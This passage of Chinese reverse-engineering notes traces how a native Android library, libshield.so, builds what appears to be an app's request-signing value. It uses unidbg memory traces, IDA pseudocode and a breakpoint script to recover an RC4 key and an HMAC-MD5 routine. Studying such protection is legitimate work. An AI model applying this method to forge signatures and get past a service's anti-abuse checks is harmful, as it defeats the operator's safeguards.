0060: 12 00 00 00 53 00 00 00 0C 00 00 00 2F 00 00 00 ....S......./...
^-----------------------------------------------------------------------------^
注:如果要表示一个存储的是指针的内存地址,通常会使用 unidbg@<address> 这样的表示方式
.text&ARM.extab:000000000004955C MOV X0, SP
.text&ARM.extab:0000000000049560 MOV W1, W20
.text&ARM.extab:0000000000049564 MOV X2, X21
.text&ARM.extab:0000000000049568 MOV X3, X22
.text&ARM.extab:000000000004956C BL sub_511E0
根据IDA中的汇编 发现这里的X0传的SP,属于栈内存,因此x0=unidbg@0xbffff090 这块内存是栈内存 -> emulator.traceWrite(0xbffff099L,0xbffff090+5);
思考:为什么用栈传递S-box?
局部变量的存储:即在算法函数内部存储了S-box,S-box是RC4算法的临时数据接口,通常在函数执行期间使用,并且因为是局部变量不会出现线程安全问题,且访问速度快提升算法性能
因此通过trace(0xbffff090, 0xbffff090+256) -> len(S-box) = 256
T = [0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61
, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29
, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a
, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28
, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a
, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74
, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64
, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72
, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74
, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f
, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73
, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62
, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72, 0x74, 0x28, 0x29, 0x3b
, 0x73, 0x74, 0x64, 0x3a, 0x3a, 0x61, 0x62, 0x6f, 0x72]
def bytes_to_hex(bytes):
return \'\'.join(f\'{byte:02x}\' for byte in bytes)
print(bytes_to_hex(T))
在cyberchef中验证需要将13位扩充到256位的秘钥数组转成长度为512的秘钥字符串才能得出正确结果
key = \\"7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f72\\"
RC4会将我们拿到的 key=7374643a3a61626f727428293b (13位) 复制扩充至 -> 256位 如上述所示
\\n=================================从打印trace栈内存这里开始重新研究 先还原算法
\\nxxx =\\"7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f727428293b7374643a3a61626f72\\"
print(len(xxx))
6.由此继续分析RC4加密的源数据
把之前的数据拿下来继续分析
[14:15:23 990]x2=RW@0x4045e000, md5=4e595c010a71e5f94ac96e1146e01f23, hex=00000001ecfaaf01000000020000000700000024000000103833323036383933393932336533632d366336652d333839312d393435612d666430336334373936656233a9ececc3c790c4e778413763f3f53dab0000000000000000000000000000000000000000000000000000000000
size: 112
0000: 00 00 00 01 EC FA AF 01 00 00 00 02 00 00 00 07 ................
0010: 00 00 00 24 00 00 00 10 38 33 32 30 36 38 39 33 ...$....83206893
0020: 39 39 32 33 65 33 63 2D 36 63 36 65 2D 33 38 39 9923e3c-6c6e-389
0030: 31 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 36 1-945a-fd03c4796
0040: 65 62 33 A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 eb3........xA7c.
0050: F5 3D AB 00 00 00 00 00 00 00 00 00 00 00 00 00 .=..............
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
怎么看出来是md5的? 通常在数据末尾32位的十六进制数,还得结合上下文观察
打印了上述RC4加密函数的 源数据(mx2) trace(0x4045e000, 0x4045e000+256)
[14:20:16 036] Memory WRITE at 0x4045e003, data size = 1, data value = 0x01, PC=RX@0x4004938c[libshield.so]0x4938c, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 036] Memory WRITE at 0x4045e004, data size = 1, data value = 0xec, PC=RX@0x40049394[libshield.so]0x49394, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 036] Memory WRITE at 0x4045e005, data size = 1, data value = 0xfa, PC=RX@0x4004939c[libshield.so]0x4939c, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 036] Memory WRITE at 0x4045e006, data size = 1, data value = 0xaf, PC=RX@0x400493a8[libshield.so]0x493a8, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 036] Memory WRITE at 0x4045e007, data size = 1, data value = 0x01, PC=RX@0x400493b0[libshield.so]0x493b0, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 036] Memory WRITE at 0x4045e008, data size = 1, data value = 0x00, PC=RX@0x400493b8[libshield.so]0x493b8, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 036] Memory WRITE at 0x4045e009, data size = 1, data value = 0x00, PC=RX@0x400493c0[libshield.so]0x493c0, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e00a, data size = 1, data value = 0x00, PC=RX@0x400493cc[libshield.so]0x493cc, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e00b, data size = 1, data value = 0x02, PC=RX@0x400493d4[libshield.so]0x493d4, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e00c, data size = 1, data value = 0x00, PC=RX@0x400493dc[libshield.so]0x493dc, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e00d, data size = 1, data value = 0x00, PC=RX@0x400493e4[libshield.so]0x493e4, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e00e, data size = 1, data value = 0x00, PC=RX@0x400493f0[libshield.so]0x493f0, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e00f, data size = 1, data value = 0x07, PC=RX@0x400493f8[libshield.so]0x493f8, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e010, data size = 1, data value = 0x00, PC=RX@0x40049400[libshield.so]0x49400, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e011, data size = 1, data value = 0x00, PC=RX@0x40049408[libshield.so]0x49408, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e012, data size = 1, data value = 0x00, PC=RX@0x40049414[libshield.so]0x49414, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e013, data size = 1, data value = 0x24, PC=RX@0x4004941c[libshield.so]0x4941c, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e014, data size = 1, data value = 0x00, PC=RX@0x40049424[libshield.so]0x49424, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e015, data size = 1, data value = 0x00, PC=RX@0x4004942c[libshield.so]0x4942c, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e016, data size = 1, data value = 0x00, PC=RX@0x40049438[libshield.so]0x49438, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e017, data size = 1, data value = 0x10, PC=RX@0x40049440[libshield.so]0x49440, LR=RX@0x4004932c[libshield.so]0x4932c
[14:20:16 037] Memory WRITE at 0x4045e018, data size = 4, data value = 0x30323338, PC=RX@0x4028c1c0[libc.so]0x1c1c0, LR=RX@0x40049470[libshield.so]0x49470
[14:20:16 037] Memory WRITE at 0x4045e01c, data size = 2, data value = 0x3836, PC=RX@0x4028c1cc[libc.so]0x1c1cc, LR=RX@0x40049470[libshield.so]0x49470
[14:20:16 037] Memory WRITE at 0x4045e01e, data size = 1, data value = 0x39, PC=RX@0x4028c1d8[libc.so]0x1c1d8, LR=RX@0x40049470[libshield.so]0x49470
[14:20:16 037] Memory WRITE at 0x4045e01f, data size = 8, data value = 0x6333653332393933, PC=RX@0x4028c184[libc.so]0x1c184, LR=RX@0x40049484[libshield.so]0x49484
[14:20:16 037] Memory WRITE at 0x4045e027, data size = 8, data value = 0x38332d653663362d, PC=RX@0x4028c184[libc.so]0x1c184, LR=RX@0x40049484[libshield.so]0x49484
[14:20:16 037] Memory WRITE at 0x4045e02f, data size = 8, data value = 0x2d613534392d3139, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x40049484[libshield.so]0x49484
[14:20:16 037] Memory WRITE at 0x4045e037, data size = 8, data value = 0x3937346333306466, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x40049484[libshield.so]0x49484
[14:20:16 037] Memory WRITE at 0x4045e033, data size = 8, data value = 0x333064662d613534, PC=RX@0x4028c1a4[libc.so]0x1c1a4, LR=RX@0x40049484[libshield.so]0x49484
[14:20:16 038] Memory WRITE at 0x4045e03b, data size = 8, data value = 0x3362653639373463, PC=RX@0x4028c1a4[libc.so]0x1c1a4, LR=RX@0x40049484[libshield.so]0x49484
[14:20:16 038] Memory WRITE at 0x4045e043, data size = 8, data value = 0xe7c490c7c3ececa9, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x40049498[libshield.so]0x49498
[14:20:16 038] Memory WRITE at 0x4045e04b, data size = 8, data value = 0xab3df5f363374178, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x40049498[libshield.so]0x49498
A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 F5 3D AB 刚好是这最后两行日志,IDA查看调用和返回的地址发现其调用了
.text&ARM.extab:0000000000049494 BL memcpy
在memcpy调用处0x49494打断点,找到数据的源头(这里是当时想确定的后十六位的情况,继续trace(0x4047e000,0x4047e000+256)观察代码判断是否是加密参数)
[14:35:57 600]x1=RW@0x4047e000, md5=3f699753e1265c2cc58ed64435928820, hex=a9ececc3c790c4e778413763f3f53dab000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 F5 3D AB ........xA7c..=.
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
trace如下
[14:39:20 449] Memory WRITE at 0x4047e000, data size = 8, data value = 0xe7c490c7c3ececa9, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x4004919c[libshield.so]0x4919c
[14:39:20 449] Memory WRITE at 0x4047e008, data size = 8, data value = 0xab3df5f363374178, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x4004919c[libshield.so]0x4919c
IDA查询以后发现 依旧是调用了 .text&ARM.extab:0000000000049198 BL memcpy
继续打断点0x049198
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:49:10 217]x1=RW@0x40453138, md5=028a08b66eafbfdec7f404e9f9791827, hex=a9ececc3c790c4e778413763f3f53dab000000000000000033393932336533632d366336652d333839312d393435612d66643033633437393665623300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 F5 3D AB ........xA7c..=.
0010: 00 00 00 00 00 00 00 00 33 39 39 32 33 65 33 63 ........39923e3c
0020: 2D 36 63 36 65 2D 33 38 39 31 2D 39 34 35 61 2D -6c6e-3891-945a-
0030: 66 64 30 33 63 34 37 39 36 65 62 33 00 00 00 00 fd03c4796eb3....
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
发现第一行也是那一串密文 继续trace(0x40453138,0x40453138+256)
\\n[14:52:40 378] Memory WRITE at 0x40453138, data size = 8, data value = 0xe7c490c7c3ececa9, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x4009cdb4[libshield.so]0x9cdb4
[14:52:40 379] Memory WRITE at 0x40453140, data size = 8, data value = 0xab3df5f363374178, PC=RX@0x4028c18c[libc.so]0x1c18c, LR=RX@0x4009cdb4[libshield.so]0x9cdb4
IDA查看后 result = memcpy(v10, v9, a3); 继续打断点0x9CDB0 控制台c跳转到下一次断点才出现这个数据
\\n\\n-----------------------------------------------------------------------------<
\\n
[15:30:01 347]x1=unidbg@0xbffff478, md5=91abbf2e64095f4296c2c2751968d171, hex=a9ececc3c790c4e778413763f3f53dab000000000000000000c0104000000000ae7ff20d0000000000b0454000000000a0f5ffbf00000000000000000000000000c0104000000000040000000000000000c0104000000000f3929b31000000004016feff0000000000f7ffbf00000000
size: 112
0000: A9 EC EC C3 C7 90 C4 E7 78 41 37 63 F3 F5 3D AB ........xA7c..=.
0010: 00 00 00 00 00 00 00 00 00 C0 10 40 00 00 00 00 ...........@....
0020: AE 7F F2 0D 00 00 00 00 00 B0 45 40 00 00 00 00 ..........E@....
0030: A0 F5 FF BF 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 C0 10 40 00 00 00 00 04 00 00 00 00 00 00 00 ...@............
0050: 00 C0 10 40 00 00 00 00 F3 92 9B 31 00 00 00 00 ...@.......1....
0060: 40 16 FE FF 00 00 00 00 00 F7 FF BF 00 00 00 00 @...............
^-----------------------------------------------------------------------------^
继续trace(0xbffff478, 0xbffff478+256)溯源
[15:32:31 641] Memory WRITE at 0xbffff478, data size = 1, data value = 0xa9, PC=RX@0x400546d8[libshield.so]0x546d8, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff479, data size = 1, data value = 0xec, PC=RX@0x400546dc[libshield.so]0x546dc, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff47a, data size = 1, data value = 0xec, PC=RX@0x400546e8[libshield.so]0x546e8, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff47b, data size = 1, data value = 0xc3, PC=RX@0x400546ec[libshield.so]0x546ec, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff47c, data size = 1, data value = 0xc7, PC=RX@0x400546f8[libshield.so]0x546f8, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff47d, data size = 1, data value = 0x90, PC=RX@0x400546fc[libshield.so]0x546fc, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff47e, data size = 1, data value = 0xc4, PC=RX@0x40054708[libshield.so]0x54708, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff47f, data size = 1, data value = 0xe7, PC=RX@0x4005470c[libshield.so]0x5470c, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff480, data size = 1, data value = 0x78, PC=RX@0x40054718[libshield.so]0x54718, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff481, data size = 1, data value = 0x41, PC=RX@0x4005471c[libshield.so]0x5471c, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff482, data size = 1, data value = 0x37, PC=RX@0x40054728[libshield.so]0x54728, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff483, data size = 1, data value = 0x63, PC=RX@0x4005472c[libshield.so]0x5472c, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff484, data size = 1, data value = 0xf3, PC=RX@0x40054738[libshield.so]0x54738, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff485, data size = 1, data value = 0xf5, PC=RX@0x4005473c[libshield.so]0x5473c, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff486, data size = 1, data value = 0x3d, PC=RX@0x40054748[libshield.so]0x54748, LR=RX@0x400546cc[libshield.so]0x546cc
[15:32:31 641] Memory WRITE at 0xbffff487, data size = 1, data value = 0xab, PC=RX@0x4005474c[libshield.so]0x5474c, LR=RX@0x400546cc[libshield.so]0x546cc
IDA根据PC指向的内容 追溯到__int64 __fastcall sub_54600(__int64 a1, int *a2)
mx0 -> a1
\\n\\n-----------------------------------------------------------------------------<
\\n
[23:35:34 588]x0=unidbg@0xbffff3d8, md5=87a1b7746d2b3919e4b5326d43067421, hex=1e000000000000001f00000000000000006031400000000060f4ffbf00000000f0f3ffbf00000000c0f3ffbf00000000d8ffffff80ffffff50f4ffbf000000000000000000000000ffffffff000000002ed2993d00000000939370320000000000104640000000004016feff00000000
size: 112
0000: 1E 00 00 00 00 00 00 00 1F 00 00 00 00 00 00 00 ................
0010: 00 60 31 40 00 00 00 00 60 F4 FF BF 00 00 00 00 .1@....
.......
0020: F0 F3 FF BF 00 00 00 00 C0 F3 FF BF 00 00 00 00 ................
0030: D8 FF FF FF 80 FF FF FF 50 F4 FF BF 00 00 00 00 ........P.......
0040: 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 ................
0050: 2E D2 99 3D 00 00 00 00 93 93 70 32 00 00 00 00 ...=......p2....
0060: 00 10 46 40 00 00 00 00 40 16 FE FF 00 00 00 00 ..F@....@.......
^-----------------------------------------------------------------------------^
mx1 -> a2
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[23:35:52 971]x1=RW@0x40469300, md5=0b80a9160ce474c9b6e8bb994abe2ffe, hex=fdc766edab21b268d4dd98cc8f8033a7d02a0000000000006336652d333839312d393435612d66643033633437393665623300000000000000000000000000000000000000000000000000000000000000000000000000001a00000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: FD C7 66 ED AB 21 B2 68 D4 DD 98 CC 8F 80 33 A7 ..f..!.h......3.
0010: D0 2A 00 00 00 00 00 00 63 36 65 2D 33 38 39 31 .*......c6e-3891
0020: 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 36 65 -945a-fd03c4796e
0030: 62 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3..............
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 1A 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
对于mx0,你看到的是x0寄存器对应的内存区域内容,这里的值代表了a1的实际内容。从输出可以看到,它包含了各种数据,这些数据实际上反映了a1参数的值或其引用的数据内容。
对于mx1,你查看的是x1寄存器指向的内存地址处的内容,即a2作为一个指针变量指向的实际内存位置的内容。在这个例子中,a2指向的内存包含了一些十六进制数值、可能的标识符(如c6e-3891-945a-fd03c4796eb3)
因为内部进行了一系列运算,由a1,a2参与,没法直接口算验证
根据IDA中如下伪代码可以分析
result = 1LL;
v11 = (unsigned int) * a2 >> 8;
*(_BYTE *)
a1 = *a2;
*(_BYTE *)(a1 + 1) = v11;
*(_BYTE *)(a1 + 2) = BYTE2(v9);
*(_BYTE *)(a1 + 3) = HIBYTE(v9);
*(_DWORD *)(a1 + 4) = a2[1];
*(_DWORD *)(a1 + 8) = a2[2];
*(_DWORD *)(a1 + 12) = a2[3];
====>
v11 = 169 = 0xFD >> 8 -> 0x40469300 >> 8 = 4212371
可以大致确定32位的MD5值由sub)54600以及其内部实现得到,当下需要拆分其内部结构与标准HMAC MD5进行对照
简单的hook其内部实现就能发现 sub_539DC这个函数有MD5的核心实现异或运算以及分块update进行内外部哈希运算的操作
(需要先去了解MD5源码特征 把MD5对应的核心函数如update等打印日志 寻找各种特征值 寻找魔改点)
int *__fastcall sub_539DC(int *result, unsigned __int8 *a2, __int64 a3) -> 对比update函数
代码分析:
1.
result:指向一个整数数组的指针,通常用于存储MD5的中间状态(即A、B、C、D四个32位寄存器)
a2:指向输入数据的指针,通常是待处理的数据块。
a3:表示数据块的长度或处理的次数
2.解释说明
MD5的核心操作:将输入数据分层512位(64字节)的块,每个块经过四轮处理,每轮包含16次操作。(代码循环结构do-while)
MD5的轮函数:
代码中的HIDWORD(v26)和LODWORD(v26)操作类似于MD5中的轮函数操作,用于更新MD5的中间状态。
代码中的v3、v4、v5、v6等变量可能对应MD5的四个寄存器(A、B、C、D)。
常量加法:
MD5算法中使用了大量的常量(如正弦函数的整数部分),这些常量在代码中可能被硬编码为result数组中的某些值。
数据块处理:
代码中从a2指针读取数据,并将其分成多个32位的字进行处理,这与MD5算法中对输入数据的分块处理方式一致。
遇到难以分析的函数,先看断点看输入输出
debugger.addBreakPoint(module.base+0x539DC, new BreakPointCallback() {
int num = 0;
@Override
public boolean onHit(Emulator<?> emulator, long address) {\\n RegisterContext context = emulator.getContext();\\n Pointer src1 = context.getPointerArg(0);\\n Pointer src2 = context.getPointerArg(1);\\n num+=1;\\n System.out.println(\\"num===================================\\"+num);\\n Inspector.inspect(src1.getByteArray(0,0x70), \\"0x539DC onenter arg0 \\"+num);\\n Inspector.inspect(src2.getByteArray(0,0x70), \\"0x539DC onenter arg1 \\"+num);\\n emulator.attach().addBreakPoint(context.getLRPointer().peer, new BreakPointCallback() {\\n @Override\\n public boolean onHit(Emulator<?> emulator, long address) {
Inspector.inspect(src1.getByteArray(0,0x70), \\"0x539DC onleave arg0 \\"+num);
Inspector.inspect(src2.getByteArray(0,0x70), \\"0x539DC onleave arg1 \\"+num);
return true;
}
});
return true;
}
});
根据md5那个教学视频 md5需要关注的模块大致就那么几个 总结一下。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
\\n根据上述分析得知,arg0存储的是a0 b0 c0 d0四个md5状态数组的中间态
arg1存储的是数据
arg2存储的是数据长度或者计算次数相关
该断点打印的日志 可以得到md5的状态数组 一步一步对照着看即可
a0 = 0x67452301
b0 = 0xEFCDAB89
c0 = 0x98BADCFE
d0 = 0x10325476
根据HMAC MD5的公式去推测下方日志的各部分功能
HMAC(K,M) = H((outer_key ^opad) || H((inner_key ^ ipad) || M))
K 是原始秘钥
M 是消息
H 是哈希函数(MD5)
inner_key 和 outer_key是内外哈希秘钥
ipad和opad是固定填充值
|| 表示字符串连接
num===================================1
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 204]0x539DC onenter arg0 1, md5=2391e90a328d7d9e29b58b37a6e9e379, hex=76543210fedcba9889abcdef012345670002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 76 54 32 10 FE DC BA 98 89 AB CD EF 01 23 45 67 vT2..........#Eg ====> 初始化魔数 这一行存储的刚好就是a0 b0 c0 d0的标准初始化状态
0010: 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 207]0x539DC onenter arg1 1, md5=ad3961e36853d36706ed11d40f2d0de0, hex=c09939459c1ac1550dfabde8604cd5579c5c68927a0ed2ded626c05bc0515f98c7b34ff058fcb9a8944e9bcd743a6afd9ad6bb5ac65bb201a7427f30819fd0ea363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636
size: 112
0000: C0 99 39 45 9C 1A C1 55 0D FA BD E8 60 4C D5 57 ..9E...U....`L.W ====> self.inner_key = self.xor_bytes(key, b\'\\\\x36\' * self.block_size) 猜测是md5 内部哈希使用的秘钥
0010: 9C 5C 68 92 7A 0E D2 DE D6 26 C0 5B C0 51 5F 98 .\\\\h.z....&.[.Q_. ====> 或者说 inner_key ^ ipad
0020: C7 B3 4F F0 58 FC B9 A8 94 4E 9B CD 74 3A 6A FD ..O.X....N..t:j.
0030: 9A D6 BB 5A C6 5B B2 01 A7 42 7F 30 81 9F D0 EA ...Z.[...B.0....
0040: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
0050: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
0060: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 210]0x539DC onleave arg0 1, md5=7b848a1c211f5427f9387de097314fe0, hex=95f2e683b60384c3dab6f917341ee4130002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b7c9e979a41bd7db811024d9881068aff7149b
size: 112
0000: 95 F2 E6 83 B6 03 84 C3 DA B6 F9 17 34 1E E4 13 ............4... ====> 运算后 魔数的状态定为 context1
0010: 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 56 B7 C9 E9 ............V...
0060: 79 A4 1B D7 DB 81 10 24 D9 88 10 68 AF F7 14 9B y......$...h....
^-----------------------------------------------------------------------------^
\\n\\n-----------------------------------------------------------------------------<
\\n
[09:18:53 210]0x539DC onleave arg1 1, md5=ad3961e36853d36706ed11d40f2d0de0, hex=c09939459c1ac1550dfabde8604cd5579c5c68927a0ed2ded626c05bc0515f98c7b34ff058fcb9a8944e9bcd743a6afd9ad6bb5ac65bb201a7427f30819fd0ea363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636
size: 112
0000: C0 99 39 45 9C 1A C1 55 0D FA BD E8 60 4C D5 57 ..9E...U....`L.W ====> inner_key ^ ipad未发生变化
0010: 9C 5C 68 92 7A 0E D2 DE D6 26 C0 5B C0 51 5F 98 .\\\\h.z....&.[.Q_.
0020: C7 B3 4F F0 58 FC B9 A8 94 4E 9B CD 74 3A 6A FD ..O.X....N..t:j.
0030: 9A D6 BB 5A C6 5B B2 01 A7 42 7F 30 81 9F D0 EA ...Z.[...B.0....
0040: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
0050: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
0060: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
